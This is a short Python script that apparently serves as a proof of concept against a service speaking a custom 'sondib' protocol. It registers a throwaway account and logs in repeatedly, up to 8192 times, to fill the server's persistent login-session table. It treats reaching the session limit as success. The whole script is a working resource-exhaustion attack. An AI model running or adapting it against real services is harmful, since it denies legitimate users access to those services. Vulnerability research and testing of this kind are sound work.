#!/usr/bin/env python3 """Consume the persistent login-session table. The attempt count is deliberately mandatory because successful logins are persisted by sondib and are not removed by the normal connection timeout. """ from __future__ import annotations import argparse import secrets import string import sys from sondib_protocol import ProtocolError, SondibClient def log(message: str) -> None: print(message, file=sys.stderr, flush=True) def random_password() -> str: alphabet = string.ascii_letters + string.digits return "pw" + "".join(secrets.choice(alphabet) for _ in range(12)) def register(target: str, username: str, password: str) -> None: client = SondibClient(target) try: response = client.request( bytes((7,)) + len(username).to_bytes(2, "little") + username.encode() + len(password).to_bytes(2, "little") + password.encode() ) if not response or response[0] != 0x11: raise RuntimeError(f"registration failed: {response.hex()}") finally: client.close() def login(target: str, username: str, password: str) -> bool: client = SondibClient(target) try: response = client.request( bytes((8,)) + len(username).to_bytes(2, "little") + username.encode() + len(password).to_bytes(2, "little") + password.encode() ) return bool(response) and response[0] == 0x11 finally: client.close() def run(target: str, count: int) -> int: if not 1 <= count <= 8192: raise ValueError("COUNT must be between 1 and 8192") username = "sess" + secrets.token_hex(5) password = random_password() register(target, username, password) successful = 0 for _ in range(count): if not login(target, username, password): break successful += 1 log(f"target={target} successful_logins={successful} requested={count}") if successful < count: log("persistent session limit or another login failure was reached") return 0 return 1 def main() -> int: parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT") parser.add_argument("target", metavar="TARGET") parser.add_argument("--count", type=int, required=True, metavar="COUNT") args = parser.parse_args() try: return run(args.target, args.count) except (OSError, ProtocolError, RuntimeError, ValueError) as exc: log(f"target={args.target} error={exc}") return 1 if __name__ == "__main__": raise SystemExit(main())